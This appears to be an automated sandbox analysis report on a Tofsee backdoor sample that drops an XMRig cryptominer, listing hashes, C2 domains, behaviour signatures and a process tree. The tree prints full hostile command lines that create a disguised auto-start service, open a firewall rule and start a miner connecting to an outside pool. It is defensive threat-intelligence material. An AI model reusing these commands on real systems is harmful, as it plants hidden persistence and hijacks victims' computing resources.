Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 14:09

General

  • Target
    file.exe
  • Size 214KB
  • Sample221218-rf4vhscc64
  • SHA256 0d3142ce501b68a4e231c6a54159ec2cf08ffb6f6994a31ec21ef42c7e80065c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hdxuxxyc\
      2⤵
        PID:3900
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nyuzqjvk.exe" C:\Windows\SysWOW64\hdxuxxyc\
        2⤵
          PID:1856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hdxuxxyc binPath= "C:\Windows\SysWOW64\hdxuxxyc\nyuzqjvk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hdxuxxyc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hdxuxxyc
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3216
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 836 -s 656
          2⤵
          • Program crash
          PID:928
      • C:\Windows\SysWOW64\hdxuxxyc\nyuzqjvk.exe
        C:\Windows\SysWOW64\hdxuxxyc\nyuzqjvk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4896
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1016
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5100 -s 528
          2⤵
          • Program crash
          PID:4928
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 836 -ip 836
        1⤵
          PID:3156
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5100 -ip 5100
          1⤵
            PID:4084

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                nyuzqjvk.exe

                • Path C:\Users\Admin\AppData\Local\Temp\nyuzqjvk.exe
                • Size 12.8MB
                • SHA256 c126660d6a945e14c307d3d7eabc7afb9cca943948f235815ecdf361efac793c
                • MD5 SHA1 SHA512 SSDEEP

                nyuzqjvk.exe

                • Path C:\Windows\SysWOW64\hdxuxxyc\nyuzqjvk.exe
                • Size 12.8MB
                • SHA256 c126660d6a945e14c307d3d7eabc7afb9cca943948f235815ecdf361efac793c
                • MD5 SHA1 SHA512 SSDEEP

                memory/836-143-0x00000000005C3000-0x00000000005D4000-memory.dmp

                memory/836-133-0x00000000007B0000-0x00000000007C3000-memory.dmp

                memory/836-134-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/836-132-0x00000000005C3000-0x00000000005D4000-memory.dmp

                memory/836-144-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/1016-172-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/1016-177-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/4896-146-0x00000000007B0000-0x00000000007C5000-memory.dmp

                memory/4896-151-0x00000000007B0000-0x00000000007C5000-memory.dmp

                memory/4896-152-0x00000000007B0000-0x00000000007C5000-memory.dmp

                memory/4896-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/4896-156-0x0000000001D20000-0x0000000001D26000-memory.dmp

                memory/4896-159-0x0000000001D30000-0x0000000001D40000-memory.dmp

                memory/4896-162-0x0000000001DE0000-0x0000000001DE5000-memory.dmp

                memory/4896-165-0x0000000007580000-0x000000000798B000-memory.dmp

                memory/4896-168-0x0000000001DF0000-0x0000000001DF7000-memory.dmp

                memory/5100-150-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/5100-149-0x000000000063E000-0x000000000064E000-memory.dmp